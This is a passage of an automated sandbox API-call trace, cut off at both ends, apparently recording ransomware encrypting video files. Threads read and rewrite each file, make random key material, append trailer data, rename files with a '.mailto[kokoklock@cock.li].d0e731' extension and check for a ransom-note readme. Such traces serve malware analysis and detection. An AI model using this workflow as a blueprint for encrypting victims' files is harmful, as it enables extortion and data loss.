TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" [0176.740] wcscat (in: _Dest=0x2f84b18, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" [0176.740] wcscat (in: _Dest=0x2f84b18, _Source="VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731" [0176.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0176.740] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x3020570 | out: lpFindFileData=0x3020570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x770f1ee0, ftCreationTime.dwHighDateTime=0x1d4c985, ftLastAccessTime.dwLowDateTime=0xd8590160, ftLastAccessTime.dwHighDateTime=0x1d4d22d, ftLastWriteTime.dwLowDateTime=0x8b1e2372, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x125c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VjwkAVYr Trz.swf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VJWKAV~1.D0E")) returned 0 [0176.740] FindClose (in: hFindFile=0x2f803e0 | out: hFindFile=0x2f803e0) returned 1 [0176.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020570) returned 1 [0176.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa3038) returned 1 [0176.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa26d8) returned 1 [0176.741] RtlExitUserThread (Status=0x0) Thread: id = 2449 os_tid = 0xea0 [0176.137] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\pv0d5ff9zicdsyfj8wn9.flv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.137] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.137] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\pv0d5ff9zicdsyfj8wn9.flv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c4 [0176.137] GetFileSizeEx (in: hFile=0x8c4, lpFileSize=0x237ffab0 | out: lpFileSize=0x237ffab0*=13274) returned 1 [0176.137] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x33d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.137] ReadFile (in: hFile=0x8c4, lpBuffer=0x237ffa84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x237ffa80, lpOverlapped=0x0 | out: lpBuffer=0x237ffa84*, lpNumberOfBytesRead=0x237ffa80*=0x4, lpOverlapped=0x0) returned 1 [0176.138] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.138] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0176.138] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.138] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94b58 [0176.138] NtQuerySystemTime (in: CurrentTime=0x237ffa5c | out: CurrentTime=0x237ffa5c*=132121213334549027) returned 0x0 [0176.138] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x6125c29a [0176.138] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x6bd05762 [0176.138] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xb9eb438d [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x236dc7b9 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xe58cbc1 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x74c5c99f [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xc4a1b8be [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xf7362ba8 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x1313f7a0 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xac22a3fc [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xc92ce54 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xfc7642dd [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x3da874f [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xb62bcf63 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xd9d2fc0a [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x1c60a7c3 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xd03652c0 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x3562b708 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xdd8b72a1 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x196aafbc [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x7c2459c3 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x483cd614 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xe355c2a6 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x25008cb7 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xc2f9f63e [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x1aa0500 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x80d8fb67 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x8aa7f2f [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x1de9228e [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xe0e06d79 [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0xad702aec [0176.139] RtlRandom (in: Seed=0x237ffa68 | out: Seed=0x237ffa68) returned 0x9b302990 [0176.150] ReadFile (in: hFile=0x8c4, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x33da, lpNumberOfBytesRead=0x237ffa5c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x237ffa5c*=0x33da, lpOverlapped=0x0) returned 1 [0176.151] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x237ffa24 | out: lpNewFilePointer=0x0) returned 1 [0176.151] WriteFile (in: hFile=0x8c4, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x33da, lpNumberOfBytesWritten=0x237ffa58, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x237ffa58*=0x33da, lpOverlapped=0x0) returned 1 [0176.151] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ba8 [0176.151] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.151] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94ba8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x237ffa54, lpOverlapped=0x0 | out: lpBuffer=0x2f94ba8*, lpNumberOfBytesWritten=0x237ffa54*=0x20, lpOverlapped=0x0) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ba8) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0176.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0176.151] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94c48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x237ffa80, lpOverlapped=0x0 | out: lpBuffer=0x2f94c48*, lpNumberOfBytesWritten=0x237ffa80*=0x8, lpOverlapped=0x0) returned 1 [0176.152] WriteFile (in: hFile=0x8c4, lpBuffer=0x237ffa98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x237ffa80, lpOverlapped=0x0 | out: lpBuffer=0x237ffa98*, lpNumberOfBytesWritten=0x237ffa80*=0x4, lpOverlapped=0x0) returned 1 [0176.152] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x237ffa80, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x237ffa80*=0x4, lpOverlapped=0x0) returned 1 [0176.152] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x237ffa80, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x237ffa80*=0x6c, lpOverlapped=0x0) returned 1 [0176.152] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x237ffa80, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x237ffa80*=0x20, lpOverlapped=0x0) returned 1 [0176.152] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x237ffa80, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x237ffa80*=0x4, lpOverlapped=0x0) returned 1 [0176.152] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.152] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94b80) returned 1 [0176.152] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c48) returned 1 [0176.152] CloseHandle (hObject=0x8c4) returned 1 [0176.152] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x2fa0c60 [0176.153] wcscpy (in: _Dest=0x2fa0c60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731" [0176.153] wcscat (in: _Dest=0x2fa0c60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.153] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\pv0d5ff9zicdsyfj8wn9.flv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\pv0d5ff9zicdsyfj8wn9.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.154] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.154] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0c60) returned 1 [0176.154] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.154] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f835c8 [0176.154] wcscpy (in: _Dest=0x2f835c8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0176.154] wcscat (in: _Dest=0x2f835c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" [0176.154] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\d0e731-readme.txt")) returned 0x20 [0176.154] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f835c8) returned 1 [0176.154] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cc48) returned 1 [0176.154] RtlExitUserThread (Status=0x1) Thread: id = 2450 os_tid = 0xea4 [0176.155] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\sjkws_-fqth huhczk.avi.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.156] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.156] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\sjkws_-fqth huhczk.avi.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c4 [0176.156] GetFileSizeEx (in: hFile=0x8c4, lpFileSize=0x2387fc10 | out: lpFileSize=0x2387fc10*=90414) returned 1 [0176.156] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x1612a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.156] ReadFile (in: hFile=0x8c4, lpBuffer=0x2387fbe4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2387fbe0, lpOverlapped=0x0 | out: lpBuffer=0x2387fbe4*, lpNumberOfBytesRead=0x2387fbe0*=0x4, lpOverlapped=0x0) returned 1 [0176.157] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.157] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0176.157] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.157] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94b80 [0176.157] NtQuerySystemTime (in: CurrentTime=0x2387fbbc | out: CurrentTime=0x2387fbbc*=132121213334706399) returned 0x0 [0176.157] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x99f2e0d7 [0176.157] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0xb2567651 [0176.157] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x6be60623 [0176.157] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x587b68b8 [0176.157] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x56e5a263 [0176.157] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x7c28f362 [0176.157] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x5e5d4ef1 [0176.157] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0xf67323e7 [0176.157] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x54b330c2 [0176.157] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0xe9be224f [0176.157] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0xa9010d07 [0176.157] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0xd17a14a4 [0176.157] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0xc7866e35 [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x446e1eaa [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x597f787c [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x92349b0b [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0xded78a93 [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x145531d1 [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x672dbe6d [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x902fdafd [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x78930d6b [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0xcdb71c7b [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x47064d63 [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0xa233627e [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x473a745a [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x90d3e1d3 [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0xf1eedce9 [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x39f4096c [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0xe28c3cb2 [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x44762d8a [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0x6c546406 [0176.158] RtlRandom (in: Seed=0x2387fbc8 | out: Seed=0x2387fbc8) returned 0xe31f4a18 [0176.169] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.169] ReadFile (in: hFile=0x8c4, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2387fb94, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x2387fb94*=0x4096, lpOverlapped=0x0) returned 1 [0176.169] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.169] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0176.169] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88fa0 [0176.169] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.169] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.169] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.170] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94bd0 [0176.170] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.170] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.170] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0176.170] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0176.170] WriteFile (in: hFile=0x8c4, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2387fb94, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x2387fb94*=0x4096, lpOverlapped=0x0) returned 1 [0176.170] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.170] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x1612e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.170] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94bd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2387fbcc, lpOverlapped=0x0 | out: lpBuffer=0x2f94bd0*, lpNumberOfBytesWritten=0x2387fbcc*=0x20, lpOverlapped=0x0) returned 1 [0176.171] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94bd0) returned 1 [0176.171] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0176.171] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94c48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2387fbe0, lpOverlapped=0x0 | out: lpBuffer=0x2f94c48*, lpNumberOfBytesWritten=0x2387fbe0*=0x8, lpOverlapped=0x0) returned 1 [0176.171] WriteFile (in: hFile=0x8c4, lpBuffer=0x2387fbf8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2387fbe0, lpOverlapped=0x0 | out: lpBuffer=0x2387fbf8*, lpNumberOfBytesWritten=0x2387fbe0*=0x4, lpOverlapped=0x0) returned 1 [0176.172] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2387fbe0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2387fbe0*=0x4, lpOverlapped=0x0) returned 1 [0176.172] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2387fbe0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2387fbe0*=0x6c, lpOverlapped=0x0) returned 1 [0176.172] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2387fbe0, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x2387fbe0*=0x20, lpOverlapped=0x0) returned 1 [0176.172] WriteFile (in: hFile=0x8c4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2387fbe0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2387fbe0*=0x4, lpOverlapped=0x0) returned 1 [0176.172] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.172] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ba8) returned 1 [0176.172] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c48) returned 1 [0176.172] CloseHandle (hObject=0x8c4) returned 1 [0176.172] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x138) returned 0x2fa0c60 [0176.172] wcscpy (in: 